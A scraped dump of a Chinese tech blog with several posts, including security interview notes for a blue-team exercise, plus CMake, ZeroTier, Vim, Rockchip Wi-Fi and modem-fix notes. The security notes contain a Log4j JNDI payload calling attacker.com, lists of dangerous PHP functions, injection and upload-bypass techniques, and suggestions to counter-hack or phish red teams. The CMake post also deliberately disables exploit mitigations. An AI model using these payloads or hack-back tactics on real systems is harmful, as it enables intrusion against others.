长链接，连接通常保持打开和空闲状态，直到客户端或服务器发送消息，客户端与服务器之间存在定时的ping-pong机制数据交互以保持连接状态 客户端带有 Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w== 用于加密 WebSocket 多用于聊天或者小包传输场景中 IP封禁 # 如果有防火墙等设备，推荐在防火墙上封禁IP 如果内网沦陷，可上线服务器手动设置IPtbles 防火墙隔离受感染机器 同时上报 IP给其他人 危险函数 # 代码执行： eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function\n文件读取: file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file() 等\n命令执行：system(), exec(), shell_exec(), passthru() ,pcntl_exec(),popen(),proc_open()\nShiro 反序列原理 # 服务器端对rememberMe中的cookie依次进行base64解密、AES解密和反序列化得到cookie的值对用户进行认证。 rememberMe 可以被构造，将恶意代码放入 rememberMe，服务器端解析后就会触发Java反序列化漏洞，进而在目标机器上执行任意命令。 漏洞原理：\nshiro550 硬编码的key shiro-721 用户通过 Padding Oracle 攻击生成的攻击代码构造恶意的rememberMe字段，造成任意代码执行，原理：服务端回显，反映解密成功与否。服务器的回显总归是有些危险的，我们可以以回显差异来判断我们的输入是否正确，这也是padding oracle攻击的利用点 防御： 升级 限制rememberMe字段长度 Log4j # 出网协议 rmi、ldap， 对 JNDI 出网协议解析不正确，攻击者在服务器中构造恶意Class 文件，在日志中如果有 JNDI 解析触发错误，如${jndi:rmi:http://attacker.com/exp} 下载攻击者class并实例化执行 绕过： 希腊文字，UPPER，LOWER 等\nWebLogic # T3 协议发送反序列化漏洞 T3 配合RMI，JDNI 协议发送反序列化漏洞 流量特征：开头都是ac ed 00 05，端口：7001 数据包里有 CommonCollections/ysoserial 相关的东西 监测： nmap script 里有 WebLogic-t3-info，WebLogic 的具体版本号为10.3.6.0以下就行。 防御： 增加 jep290 机制，需要修改JDK 设置 jdk版本过低没有JEP290机制下，需要重写 resolveClass（resolveClass读取反序列化的类名）来进行反序列化类黑名单过滤。\nFastjson # Object --\u0026gt; json or json--\u0026gt;Object\n反序列化 @type 指定的类时，指定类的 setter 或 getter 被调用导致的命令执行，比如 JDBCRowSetImpl setter dataSourceName 方法，支持RMI远程调用。 在后续的版本中：Commons IO 2.x 写文件利用链挖掘 XmlStreamReader 在1.2.25到1.2.41之间 autotype 可以绕过，函数checkAutotype存在缺陷 ver=1.2.47 java.lang.class 不在黑名单里\n监测方法： xray 找到提交的接口，比如 GET, POST, Cookie 有个参数 json，然后提交 构造的 JSON 数据，看dnslog有无返回，java.net.InetSocketAddress\n防御： 开启safeMode，-Dfastjson.parser.safeMode=true 升级到最新版本1.2.83\n云函数 # 云函数：是独立运行的代码，托管在腾讯云平台上，可实现批量探测，由于IP数量多，造成溯源难度大，封禁难度大\n通过观测流量的方法，提取攻击者攻击的端口号，业务系统精细到某个页面某个接口的利用，提取特征，然后根据特征编写防火墙规则 X-Api-Status sh.apigw.tencentcs.com 域名前置 蜜罐 # 可以模拟真实交互场景 捕获攻击者攻击IP，攻击手法，甚至是未公开0day 捕获上传的木马以便后续分析，可以大概对攻击者所在的组织特征进行画像 可以起到攻击预警监测的作用，帮助及时发现任何攻击活动。 SQL 注入 # 通过报错注入(bczr)（常用函数,updataxml,extractXML ,rand,exp ,squar 等函数）猜表名。 构造SQL语句，写入文件到可写入的路径下的可读写文件中，盲注函数（substr，left，right，ascii，char） 多次构造注入语句进行多次写入操作，拼接成完整的Payload 访问运行 注入写文件的条件 # 必须有写入权限 查询语句的函数必须要能输出内容到某个文件里，常见的指令有 into outfile,load date file 该文件不能为空,且必须是文本文件 攻击者必须知道文件在哪里 SQL 绕过（sqlrg）： # 大小写，编码绕过，宽字节绕过，内敛注释绕过，十六进制绕 SQL 注入预编译绕过：使用单引号和注释来拼接注入语句。\nSQL 注入防御 # 严格规律用户输入语句 使用预编译 站酷分离设计 SQLmap 流量特征 # 大量的SQL查询发生，并且大量的不同规则的Payload反复对同一个页面或者接口查询 SQLmap有自己的UA 特征 会在Cookie 字段里发现注入payload 绕过 # 文件上传漏洞绕过： 前端+后端过滤，后缀名截断，后缀名，MME绕过（修改 Content-Type ibm500、cp875 Accept-Encoding gzip 截断文件名 HTTP PIpeline 分块传输）\n网站被挂马怎么办 # 取证（登录服务器，查看日志异常进程端口号，web页面可疑文件等），处理（删除木马文件，内存马使用专用清除工具，或者手写JVM 拦截器），溯源（入侵IP背景信息，入侵手法，恶意代码相似度归类），记录 溯源 # 掌握攻击者的攻击手法，掌握攻击者背后的 IP \u0026amp;域名资产，掌握攻击者的真实身份 溯源攻击手法：收集 如 Req/resp，User-Agent，特有的红队工具，钓鱼邮件（LNK、EXE、DOCX）特征，使用过的漏洞。 溯源资产：发件服务器操作系统，IP，whos信息，绑定过的域名，DNS记录，回连C2，端口 溯源后门：代码逻辑，行为，利用的操作系统漏洞，链接到的二进制库 ID号：社交平台，Google，twitter，GitHub，Gitee，StackOverflow等，支付宝，微信\n反制 # 通过对红队的资产展开渗透测试，拿下有些服务 蜜罐中诱导红队下载SSL VPN，恶意文档等 给红队发送钓鱼邮件等。 BUrpsite，扫描器fz，gz炸弹，nmap syn 超时等\nFOFA # domain=”qq.com” 搜索根域名带有qq.com的网站。 host=”.gov.cn” 从url中搜索”.gov.cn” 搜索要用host作为名称 port=”6379” 查找对应“6379”端口的资产 ip=”220.181.111.1/24” 查询IP为“220.181.111.1”的C网段资产\n蚁剑、冰蝎，哥斯拉流量特征 # 蚁剑 # User-agent 为 Ant-swa，但是可以修改 request.js 实现 混淆后的流量大部分是 0x 开头的 冰蝎 # Accept 头是 application/xhtml lapplication/xml application/signed- exchange 弱特征 Content-Type: application/octet-stream 强特征，并且伴随着大量的Content-Type: applicationo/ctet-stream，很少使用 UserAgent 内置16 个，随机选择，弱特征 哥斯拉 # 动态特征\n监控 JVM 拦截反射类 javax.crypto.Cipher.getInstance(“AES”) C# 拦截 System.Security.Cryptography.RijndaelManaged() PHP使用异常或加密，并且直接使用 eval 静态特征 User-Agent Accept text/html img/gif img/jepg; q=.2 Cookies 后面有个 ; 号 第一个包比较大，后续的包有大有小，统计学特征 响应特征，把 32 位 MD5 拆开，16 位 md5 + base64 + 后 16 位 md5, md5 字符集 0-9A-F 匹配 应急响应流程 # 应急响应流程：准备-监测-抑制-根除-恢复-编写报告\n上机排查 # 首先确定是否为误报，分析抓到的Payload，如果是：\n定位是哪台机器，可以在安全设备上查看 定位与这台机器互相连接的机器，大致确定可能的受攻击范围 记得一定要进行备份操作。 非紧急的业务系统可以先做下线处理，在做大动作之前，先搞清楚业务逻辑，最好能得到领导的点头同意/ 根据告警内容检查相关服务的异常情况，如果有异常就需要采取阻断清楚威胁手段 检查主机机器关联机器的日志文件，异常端口开放，可疑进程，数据库表单是否被修改，用户名等 编写产出监测报告 如果不是，及时更新防火墙规则，以免才吃 应急响应案例 # 某公司十余台服务器感染勒索病毒，文件遭勒索加密，因 此向奇安信安服团队发起应急响应请求，查询中毒原因。 应急人员抵达现场后，查看加密文件后缀及勒索病毒界面，判断该病毒 是Phobos家族勒索病毒。通过现场对多台受害服务器进行日志分析，并与 相关工作人员沟通，发现公司内部员工曾使用个人电脑通过非官方渠道下载 各类破解版软件，导致个人电脑感染勒索病毒。同时内网多台服务器均开放 3389远程桌面服务端口，勒索病毒进入内网后对内网服务器进行RDP暴破， 暴破成功后释放勒索病毒，加密文件。 加强内部访问策略，禁止或限制个人电脑进入内网，如业务需要，增 加访问控制策略； 2)建议在服务器上部署安全加固软件，通过限制异常登录行为、开启防 暴破功能、禁用或限用危险端口（如3389、445、139、135等）、防范漏洞 利用等方式，提高系统安全基线，防范黑客入侵； 禁止通过非官方渠道下载应用软件，及时修复 漏洞、安装补丁，将信息安全工作常态化\n医疗行业某单位网内约 1000多台终端和服务器存在大量病毒，客户机不定时重启、蓝屏，严重影响 业务系统的正常运行。 应急人员通过对相关进程、文件、服务进行排查分析后，判断该单位内 网失陷是由于感染“永恒之蓝下载器”木马，导致病毒泛滥。通过检查现场内 网失陷主机，发现现场主机系统均未安装杀毒防护软件，C:\\Windows目录下 存在大量以随机字符命名的.exe文件，并在系统服务中发现大量该exe对应的 服务。在分析天眼设备抓取流量时，发现内网共存在11种病毒，包括蠕虫病 毒、挖矿病毒、勒索病毒、远控木马、僵尸网络等多种病毒，且发现主机高危 端口如135、137、138、445端口均为开启状态并存在传播病毒的行为。除此 之外，应急人员在检查过程中发现sqlserver数据库管理员账户密码与网内所 有服务器均使用同一种密码，且该数据库服务器未安装任何安全防护设备，使 得木马快速在内网扩散，并存在大量外连行为，导致大量机器沦陷。 系统、应用相关用户杜绝使用弱口令，应使用高复杂强度的密码，尽 量包含大小写字母、数字、特殊符号等的混合密码，加强管理员安全意识， 禁止密码重用的情况出现； 2)有效加强访问控制ACL策略，细化策略粒度，按区域按业务严格限制 各个网络区域以及服务器之间的访问，采用白名单机制只允许开放特定的业 务必要端口，其他端口一律禁止访问，仅管理员IP可对管理端口进行访问， 如FTP、数据库服务、远程桌面等管理端口； 3)部署高级威胁监测设备，及时发现恶意网络流量，同时可进一步加强 追踪溯源能力，对安全事件发生时可提供可靠的追溯依据； 4)建议在服务器上部署安全加固软件，通过限制异常登录行为、开启防 暴破功能、禁用或限用危险端口、防范漏洞利用等方式，提高系统安全基 线，防范黑客入侵\n应急人员抵达现场后，通过对系统分析发现在WEB负载服务器WEB01 中确实存在黑链，对Web01进行排查发现后门文件，溯源分析后发现攻击者 是通过TRS服务器登入Web01系统，获取了Web01系统权限，通过对TRS 服务器Web日志分析发现攻击者利用TRS漏洞，植入WebShell后门，攻击 IP经调研后发现为内部Redis服务器，通过对Redis服务器进行分析发现该 机器存在RootKit程序，该程序会自动连接到攻击者服务器，植入时间为： 2017/03/17，且在该机器上发现了攻击者利用Redis未授权获得本机SSH管 理权限的行为和内网扫描行为。 综上，攻击者通过利用Redis未授权漏洞获取了Redis服务器本机SSH 管理权限，并对同网段进行扫描，发现TRS服务器存在漏洞，并对该漏洞进 行利用，获取TRS服务器权限并植入Webshell后门文件，由于TRS服务器 与WEB负载服务器均使用相同密码，攻击者通过密码登录到WEB负载服务 器，植入后门文件，并在官网首页文件中插入恶意代码\nWindows 攻防 # 隐蔽的影子账户可以在注册表里Sam里看到。 Systeminfo可以查看系统信息并展示系统补丁信息 日志 Windows审核策略，事件查看器，有日志筛选框\n可疑进程： netstat,tasklist, 计划任务 schtasks %temp% 临时文件\n","date":"4 July 2023","externalUrl":null,"permalink":"/posts/2023hvv/","section":"Posts","summary":"整理 2023 HVV 面试和安全基础问题笔记，包括 WebSocket、协议升级和常见攻防知识点。\n","title":"2023 HVV 面试笔记","type":"posts"},{"content":"","date":"4 July 2023","externalUrl":null,"permalink":"/categories/build-system/","section":"Categories","summary":"","title":"Build-System","type":"categories"},{"content":"","date":"4 July 2023","externalUrl":null,"permalink":"/tags/cmake/","section":"Tags","summary":"","title":"Cmake","type":"tags"},{"content":"编写 CMakeLists.txt 的套路基本就是这样，先填写 project 信息，然后引用宏，定义自己的 option，写判断语句，然后 add_executable，target_sources。\ncmake_minimum_required(VERSION 3.26) project(\u0026#34;BinaryHacking\u0026#34; VERSION 1.0 DESCRIPTION \u0026#34;A simple project to demonstrate basic CMake usage\u0026#34; LANGUAGES C) if(NOT CMAKE_BUILD_TYPE) set(CMAKE_BUILD_TYPE Debug CACHE STRING \u0026#34;Choose the type of build, options are: None Debug Release RelWithDebInfo MinSizeRel.\u0026#34; FORCE) endif() option(BUILD_STATIC_LIBS \u0026#34;Build the static library\u0026#34; ON) if (BUILD_STATIC_LIBS) set(CMAKE_EXE_LINKER_FLAGS \u0026#34;-static\u0026#34;) endif() set(CMAKE_C_FLAGS \u0026#34;-z execstack -fno-stack-protector -no-pie -Wl,-z,norelro\u0026#34;) set(CMAKE_EXPORT_COMPILE_COMMANDS ON) set(CMAKE_VERBOSE_MAKEFILE ON) add_executable(BinaryHacking) target_sources(BinaryHacking PRIVATE \u0026#34;BinaryHacking.c\u0026#34;) 编写 CMakeLists.txt 的套路基本就是这样，先填写 project 信息，然后引用宏，定义自己的 option，写判断语句，然后 add_executable，target_sources。\noption(BUILD_STATIC_LIBS \u0026#34;Build the static library\u0026#34; ON) if (BUILD_STATIC_LIBS) set(CMAKE_EXE_LINKER_FLAGS \u0026#34;-static\u0026#34;) endif() option给了用户使用 ccmake 在 curses 界面下对 BUILD_STATIC_LIBS 开关选项，然后下面一个 if 根据 BUILD_STATIC_LIBS 来判断是否对 glibc 库进行静态链接生成 ELF 二进制文件，通过设置 CMAKE_EXE_LINKER_FLAGS为 \u0026quot;-static\u0026quot; 来实现。\nCMAKE_EXPORT_COMPILE_COMMANDS 会将编译命令导出到构建目录下名为 compile_commands.json的文件，这个文件包含了许多有用的东西，比如如何构建二进制文件，Header 文件的位置，编译参数等，许多 IDE 在分析源码树和进行代码补全的时候就需要这个文件，比如 ycmd。\n实际上 compile_commands.json 叫 **Compilation database，**是 Clang 发展出来的一种格式，记录了编译器时构建项目时的所有操作，有了这些信息，IDE就可以再次复现构建过程并使用这些信息来生成对源码树的分析信息，使用不同构建系统的源码（如 Kernel源码树）就可以导入到支持 Compilation database 的IDE中进行源码审计，并在无缝的在IDE内复现构建过程。\nCMAKE_VERBOSE_MAKEFILE 也是一个很有用的 FLAG，如果设置为 ON 的话，那么在Make过程中将会打印由 CMakeLists.txt 生成的 Makefile 中所有执行的命令，就像这样：\n另外 CMake 由比较详细的文档：CMake Reference Documentation — CMake 3.27.0-rc4 Documentation\n需要用到什么宏直接查文档就行。\n最后 # 之前其实很避讳写 CMakeLists.txt，因为我自己就不会写，介于我孱弱的代码能力和能偷懒就偷懒的习惯，就没写过源码超过5000行的C/C++项目，实际上我一直都是写一个 Shell 文件直接调 GCC 编译所有源码，包括检测OS版本，install 函数，我甚至还费时间写处理 pkg-config 的解析脚本，但这样一来反倒不如使用现成的构建工具省时省力。\n但万事开头难，花了1个小时摸 cmake，其实写 CMakeLists.txt 还挺简单的，其中的宏确实好用也简单，实际上就是懒，我太懒了，真的需要脚踏实地的去做事….\n等会，我好像就是因为懒得写构建脚本，懒得去写正则表达式去匹配 pkg-config 中的字符串和版本号才想学一下 cmake 来一次性解决所有问题。\n笑死，最佳悖论诞生了….\n","date":"4 July 2023","externalUrl":null,"permalink":"/posts/cmake0x01/","section":"Posts","summary":"编写 CMakeLists.txt 的套路基本就是这样，先填写 project 信息，然后引用宏，定义自己的 option，写判断语句，然后 add_executable，target_sources。\n","title":"CMakeLists.txt 入门模板","type":"posts"},{"content":"","date":"4 July 2023","externalUrl":null,"permalink":"/tags/cpp/","section":"Tags","summary":"","title":"Cpp","type":"tags"},{"content":"","date":"4 July 2023","externalUrl":null,"permalink":"/tags/hvv/","section":"Tags","summary":"","title":"Hvv","type":"tags"},{"content":"","date":"4 July 2023","externalUrl":null,"permalink":"/tags/incident-response/","section":"Tags","summary":"","title":"Incident-Response","type":"tags"},{"content":"","date":"4 July 2023","externalUrl":null,"permalink":"/categories/security/","section":"Categories","summary":"","title":"Security","type":"categories"},{"content":"","date":"4 July 2023","externalUrl":null,"permalink":"/tags/web-security/","section":"Tags","summary":"","title":"Web-Security","type":"tags"},{"content":"","date":"24 June 2023","externalUrl":null,"permalink":"/tags/zerotier/","section":"Tags","summary":"","title":"Zerotier","type":"tags"},{"content":"zerotier-one 在启动的时候会建立 /var/lib/zerotier-one 作为自己的工作目录，里面存放了zerotier 运行时所需要的配置文件。\n但是某些情况下，/var/log 是 tmpfs 挂载后的临时文件，每次重启后会消失，导致 zerotier 找不运行时配置文件，那么 /var/lib/zerotier-one 的路径可以更改吗？ 当然可以，在zerotier 代码库里发现这段代码：\n#ifdef __WINDOWS__ DWORD bufferSize = 65535; std::string userDefinedPath; bufferSize = GetEnvironmentVariable(\u0026#34;ZEROTIER_HOME\u0026#34;, \u0026amp;userDefinedPath[0], bufferSize); if (bufferSize) { return userDefinedPath; } #else if(const char* userDefinedPath = getenv(\u0026#34;ZEROTIER_HOME\u0026#34;)) { return std::string(userDefinedPath); } #endif // Finally, resort to using default paths if no user-defined path was provided #ifdef __UNIX_LIKE__ #ifdef __APPLE__ // /Library/... on Apple return std::string(\u0026#34;/Library/Application Support/ZeroTier/One\u0026#34;); #else #ifdef __BSD__ // BSD likes /var/db instead of /var/lib return std::string(\u0026#34;/var/db/zerotier-one\u0026#34;); #else // Use /var/lib for Linux and other *nix return std::string(\u0026#34;/var/lib/zerotier-one\u0026#34;); #endif 这段代码依据系统类型来判断 ZeroTier home 目录的路径，注意 if(const char* userDefinedPath = getenv(\u0026quot;ZEROTIER_HOME\u0026quot;)) 这行判断语句给了我们自定义 zerotier home 路径的可能性，设置 ZEROTIER_HOME 环境变量指向 zerotier home 位置即可，如 $(pwd)/zerotier_dir ,所以实验一下：\n$ export ZEROTIER_HOME=$(pwd)/zerotier_dir $ zerotier-one -d $ ps aux| grep zerotier # 验证 zerotier 是否成功后台运行 $ ./zerotier-cli listnetworks # 列出加入的zt网络","date":"24 June 2023","externalUrl":null,"permalink":"/posts/zerotier-dev/","section":"Posts","summary":"zerotier-one 在启动的时候会建立 /var/lib/zerotier-one 作为自己的工作目录，里面存放了zerotier 运行时所需要的配置文件。\n","title":"ZeroTier 更改 HOME 目录","type":"posts"},{"content":"","date":"21 June 2023","externalUrl":null,"permalink":"/tags/editor/","section":"Tags","summary":"","title":"Editor","type":"tags"},{"content":"","date":"21 June 2023","externalUrl":null,"permalink":"/tags/vim/","section":"Tags","summary":"","title":"Vim","type":"tags"},{"content":"","date":"21 June 2023","externalUrl":null,"permalink":"/tags/ycm/","section":"Tags","summary":"","title":"Ycm","type":"tags"},{"content":"Vim 不知不觉已经迭代到 9.0 版本了，回想起来我昨天好像还在用 Vim 6.0。\n构建 Vim 和 YCM # Vim 不知不觉已经迭代到 9.0 版本了，回想起来我昨天好像还在用 Vim 6.0。 构建vim # $ git clone https://github.com/vim/vim --depth 1 $ sudo apt install python3-dev universal-ctags \\ exuberant-ctags libperl-dev \\ liblua5.3-dev libpcre3-dev libncurses-dev $ cd vim; $ ./configure --prefix=/home/ihexon/vim_bin \\ --enable-cscope --enable-terminal \\ --enable-multibyte --enable-autoservername \\ --enable-python3interp=yes --enable-perlinterp=yes \\ --enable-luainterp=yes 有关构建 Vim 的更多细节可以在 src/INSTALL* 中找到。\nVim 的源码组织和文档结构给我的感觉就是，它真的是 Unix生态中的活化石\u0026hellip;. 当你进到 READMEdir，发现这里有一堆平套相关的 README：\nContents README_ami.txt README_amibin.txt.info README_bindos.txt README_haiku.txt README_os2.txt README_srcdos.txt README_w32s.txt runtime.info Contents.info README_ami.txt.info README_amisrc.txt README_dos.txt README_mac.txt README_os390.txt README_unix.txt Vim.info src.info README.txt.info README_amibin.txt README_amisrc.txt.info README_extra.txt README_ole.txt README_src.txt README_vms.txt Xxd.info vimdir.info 随便打开某个平台相关的 README 比如 README_ami.txt 看看：\nREADME_ami.txt for version 9.0 of Vim: Vi IMproved. This file explains the installation of Vim on Amiga systems. See README.txt for general information about Vim. 嗯，Amiga systems 是什么系统，怎么之前没听说？搜索一下看看： 这是我爷\u0026hellip;\nVim 配置 # $ rm -rf ~/.vim $ curl -fLo ~/.vim/autoload/plug.vim \\ --create-dirs \\ https://raw.githubusercontent.com/junegunn/vim-plug/master/plug.vim ~/.vim/vimrc 下的插件配置：\nexecute \u0026#39;source\u0026#39; fnamemodify(expand(\u0026#39;\u0026lt;sfile\u0026gt;\u0026#39;), \u0026#39;:h\u0026#39;).\u0026#39;/init.vim\u0026#39; let g:ycm_use_clangd = 1 call plug#begin() Plug \u0026#39;dracula/vim\u0026#39; Plug \u0026#39;ycm-core/YouCompleteMe\u0026#39;, { \u0026#39;dir\u0026#39;: \u0026#39;~/YouCompleteMe\u0026#39;, \u0026#39;do\u0026#39;: \u0026#39;git submodule update --init --recursive\u0026#39; } Plug \u0026#39;andymass/vim-matchup\u0026#39; Plug \u0026#39;preservim/tagbar\u0026#39; Plug \u0026#39;preservim/nerdtree\u0026#39; Plug \u0026#39;mhinz/vim-grepper\u0026#39;, { \u0026#39;on\u0026#39;: [\u0026#39;Grepper\u0026#39;, \u0026#39;\u0026lt;plug\u0026gt;(GrepperOperator)\u0026#39;] } call plug#end() colorscheme dracula \u0026#34; let g:ycm_clangd_binary_path = \u0026#39;/data/local/tmp/gentoo/usr/lib/llvm/17/bin/clangd\u0026#39; let g:ycm_clangd_uses_ycmd_caching = 1 let ycm_min_num_identifier_candidate_chars = 4 let g:ycm_auto_trigger = 1 let g:ycm_enable_semantic_highlighting=1 let g:ycm_server_log_level = \u0026#39;debug\u0026#39; \u0026#34; let g:ycm_global_ycm_extra_conf = \u0026#39;/data/local/tmp/gentoo/home/.vim/ycm_extra_conf.py\u0026#39; let g:ycm_add_preview_to_completeopt = 1 let g:ycm_autoclose_preview_window_after_insertion = 1 let g:ycm_autoclose_preview_window_after_completion = 1 let g:ycm_goto_buffer_command = \u0026#39;split\u0026#39; exe \u0026#39;hi MatchParen ctermbg=blue guibg=lightblue cterm=italic gui=italic\u0026#39; Vim 加载 .vim/vimrc 后使用 :PlugInstall 安装插件，注意 YCM 的源码被拉取到了 ~/YouCompleteMe 下。接下来构建 YCM。\n构建 YCM # $ cd /home/ihexon/YouCompleteMe $ ./install.py --clangd-completer clangd 会被自动下载到 ./third_party/ycmd/third_party/clangd/output/bin/clangd 下。实际上 YCM 是 Clangd 的前端，clangd 会根据 compile_commands.json 对整个代码生成 indexs，clangd 将诊断和补全结果返回给 YCMD，呈现给 Vim。\n开始使用 Vim # Vim 内 Debug # VIM 9.0 版本集成了 Termdebug 这个插件（起初 Termdebug 是独立存在的），关于 Debug 的所有细节可以参考:help Termdebug 文档。 Termdebug 需要通过 :packadd termdebug 来加载到 Vim \u0026amp;rtp 中，通过:echo \u0026amp;rtp 显示:\n就可以开始 Debug 了，使用 :Termdebug 后 Vim 会分出一个 Terminal 窗口运行 GDB 调试器： GDB Console 可以键入调试命令，vim 的文本编辑区域则会响应 GDB，另外如果启用了鼠标模式，可以右键变量名，Vim 会 popup 一个菜单，可以在当前行标记 breakpoint 或者 Eval 某个变量，方便太多了。 实际上 Vim debug 也没有那么复杂对不对？\n补全 # ctrl+space\n快速跳转 # 在if，elseif，else，endfi 之前快速跳转按 %，vim 会自动判断与此光标匹配的上级的判断语句。 Note：matchit 已经是 Vim 7.4.1649 以及之后的内置插件，patch 可以在这里看到 更新：我的配置使用了增强版的 Matchup 插件 andymass/vim-matchup。\n在 clangd 正常工作的情况下，YCM 帮助我们在函数结构体之间跳转:\n:YcmCompleter GoTo 跳转到目标函数，类似的还有 GoToDeclaration，GoToInclude，GoToReferences 等。 :YcmCompleter GoToSymbol 在 indexs 中搜索 symbol。\nTagbar # 一个Outline 插件： preservim/tagbar，使用 TagbarToggle 启动： ，tagbar 现需要系统安装 universal-ctags：\n内置终端 # Vim内支持:term 开启一个新的终端会话，这功能非常好用，我在想是不是直接可其实可以用 Vim 来实现 tmux 一样的终端复用效果。 vim 内的 terminal 实际上是一个 buffer，使用CTRL-W N 来回到 Normal 模式，让使用 :resize +10 命令调整窗口高度\n","date":"21 June 2023","externalUrl":null,"permalink":"/posts/vimconf/","section":"Posts","summary":"Vim 不知不觉已经迭代到 9.0 版本了，回想起来我昨天好像还在用 Vim 6.0。\n","title":"配置 Vim","type":"posts"},{"content":"","date":"15 June 2023","externalUrl":null,"permalink":"/tags/bluetooth/","section":"Tags","summary":"","title":"Bluetooth","type":"tags"},{"content":"WL_ROCKCHIP 下的 Realtek 模组和 AP6xxx 模组不能同时选择为 y，AP6xxx 和 Cypress 也是互斥的。至于 out-of-tree 模块则没有这个限制，可以在 Buildroot 中直接修改 Makefile。\nDTSI # sdio_pwrseq: sdio-pwrseq { compatible = \u0026#34;mmc-pwrseq-simple\u0026#34;; pinctrl-names = \u0026#34;default\u0026#34;; pinctrl-0 = \u0026lt;\u0026amp;wifi_enable_h\u0026gt;; reset-gpios = \u0026lt;\u0026amp;gpio0 RK_PA2 GPIO_ACTIVE_LOW\u0026gt;; //有个注意要点是：这里的电平状态恰好跟使能状态相反，比如 REG_ON高有效，则这里为 LOW；如果 REG_ON低有效，则填 HIGH }; \u0026amp;pinctrl { sdio-pwrseq { wifi_enable_h: wifi-enable-h { rockchip,pins = \u0026lt;0 RK_PA2 RK_FUNC_GPIO \u0026amp;pcfg_pull_none\u0026gt;; //对应上面的 WIFI_REG_ON }; }; }; \u0026amp;sdio { bus-width = \u0026lt;4\u0026gt;; … … status = \u0026#34;okay\u0026#34;; }; WIFI_WAKE_HOST: WIFI 唤醒主控的 PIN 脚 wireless-wlan { compatible = \u0026#34;wlan-platdata\u0026#34;; rockchip,grf = \u0026lt;\u0026amp;grf\u0026gt;; wifi_chip_type = \u0026#34;ap6255\u0026#34;; //海华/正基模组可以不用修改此名称，realtek需要按实际填写 WIFI,host_wake_irq = \u0026lt;\u0026amp;gpio0 RK_PA0 GPIO_ACTIVE_HIGH\u0026gt;; // WIFI_WAKE_HOST GPIO_ACTIVE_HIGH 特别注意：确认下这个 wifi pin脚跟主控的连接关系，直连的话就是 HIGH,如果中间加了一个反向管就要改成低电平 LOW触发 status = \u0026#34;okay\u0026#34;; }; 内核配置 # WL_ROCKCHIP RK 平台适配的 Wi-Fi/BT 相关目录大致是：\nWi-Fi 驱动目录：kernel/drivers/net/wireless/rockchip_w BT 驱动和蓝牙 firmware 目录：external/rkwifibt/ AP 模组 firmware：external/rkwifibt/firmware/broadco Realtek 模组目录：external/rkwifibt/realte 编译规则：buildroot/package/rockchip/rkwifibt/rkwifi 关键文件：rkwifibt.mk、Config.in 这两个文件主要完成 Wi-Fi 模组 firmware 的拷贝、对应模组蓝牙驱动和可执行文件的编译拷贝。\n测试 # wpa_cli -i wlan0 -p /var/run/wpa_supplicant scan wpa_cli -i wlan0 -p /var/run/wpa_supplicant scan_result // 正常情况下：-30 到-55，偏弱：-55 到-70，非常差-70 到-90 简略的 Wi-Fi 连接配置：\nnetwork={ ssid=\u0026#34;WiFi-AP\u0026#34; // WiFi 名字 psk=\u0026#34;12345678\u0026#34; // WiFi 密码 key_mgmt=WPA-PSK // 填加密方式 # key_mgmt=NONE // 如果 wifi 不加密 } $ wpa_cli -i wlan0 -p /var/run/wpa_supplicant reconfigure $ wpa_cli -i wlan0 -p /var/run/wpa_supplicant reconnect BT 测试：\necho 0 \u0026gt; /sys/class/rfkill/rfkill0/state //下电 sleep 2 echo 1 \u0026gt; /sys/class/rfkill/rfkill0/state //上电 sleep 2 insmod /usr/lib/modules/hci_uart.ko //realtek 模组需要加载特定驱动 rtk_hciattach -n -s 115200 /dev/ttyS4 rtk_h5 hciconfig hci0 up wifibt 的 MAC 地址都是芯片内置的，如果需要自定义 MAC 地址，需要使用 RK 专用工具写到 flash 自定义的 vendor 分区：\n读：vendor_storage -r \u0026#34;VENDOR_WIFI_MAC_ID\u0026#34; vendor_storage -r \u0026#34;VENDOR_BT_MAC_ID\u0026#34; 写：vendor_storage -w \u0026#34;VENDOR_WIFI_MAC_ID B4021192D25C\u0026#34; vendor_storage -w \u0026#34;VENDOR_BT_MAC_ID B4021192D25D\u0026#34;","date":"15 June 2023","externalUrl":null,"permalink":"/posts/rockchipwifibt/","section":"Posts","summary":"WL_ROCKCHIP 下的 Realtek 模组和 AP6xxx 模组不能同时选择为 y，AP6xxx 和 Cypress 也是互斥的。至于 out-of-tree 模块则没有这个限制，可以在 Buildroot 中直接修改 Makefile。\n","title":"Rockchip Wi-Fi/BT 调试笔记","type":"posts"},{"content":"","date":"2 June 2023","externalUrl":null,"permalink":"/tags/modemmanager/","section":"Tags","summary":"","title":"Modemmanager","type":"tags"},{"content":"OpenStick 为 410 Wi-Fi 板适配的 Linux 内核可以在 UFI003_MB_V02 主板上启动，但 modem 工作不正常。插入 SIM 卡后，使用 mmcli -m 0 查看 modem 状态时，会发现 sim-missing 异常：\n现象 # OpenStick 为 410 Wi-Fi 板适配的 Linux 内核可以在 UFI003_MB_V02 主板上启动，但 modem 工作不正常。插入 SIM 卡后，使用 mmcli -m 0 查看 modem 状态时，会发现 sim-missing 异常：\nStatus | state: failed | failed reason: sim-missing | signal quality: 0% (cached) 这个问题不是只有我一个人遇到，在 OpenStick 项目的 Issue 中也被提到：\nhttps://github.com/OpenStick/OpenStick/issues/33#issuecomment-1430420841\nhttps://github.com/OpenStick/OpenStick/issues/20#issuecomment-1235861433\n修复 # 这个问题是 DTB 设备树错误配置引入的，这个 patch 修复了这个问题：\n[PATCH] arm64: dts: qcom: msm8916-ufi: Fix sim card selection pinctrl - Yang Xiwen (kernel.org)\n这个 patch 默认将 sim-sel-pins 设置为 high，于是内核会默认启动外置 SIM 卡。\n这个 patch 已经合并进主线内核，可以选择社区维护的高通 410 内核分叉（也叫 MSM8916），源码地址：\nhttps://github.com/msm8916-mainline/linux\n这个内核树同样也支持 Qualcomm MSM8909/MSM8939 相关平台。\n所以要做的就是重新编译一份包含该 patch 的主线内核。\n","date":"2 June 2023","externalUrl":null,"permalink":"/posts/ufi003fixesimissue/","section":"Posts","summary":"OpenStick 为 410 Wi-Fi 板适配的 Linux 内核可以在 UFI003_MB_V02 主板上启动，但 modem 工作不正常。插入 SIM 卡后，使用 mmcli -m 0 查看 modem 状态时，会发现 sim-missing 异常：\n","title":"解决 UFI003 外置 SIM 卡无法启用的问题","type":"posts"},{"content":"","date":"30 May 2023","externalUrl":null,"permalink":"/tags/jekyll/","section":"Tags","summary":"","title":"Jekyll","type":"tags"},{"content":"向世界诉说自己的废话与美梦，让大家更懂你，更加排斥你\n为什么选 Jekyll # Jekyll 是一个静态网站生成器，Jekyll 用户 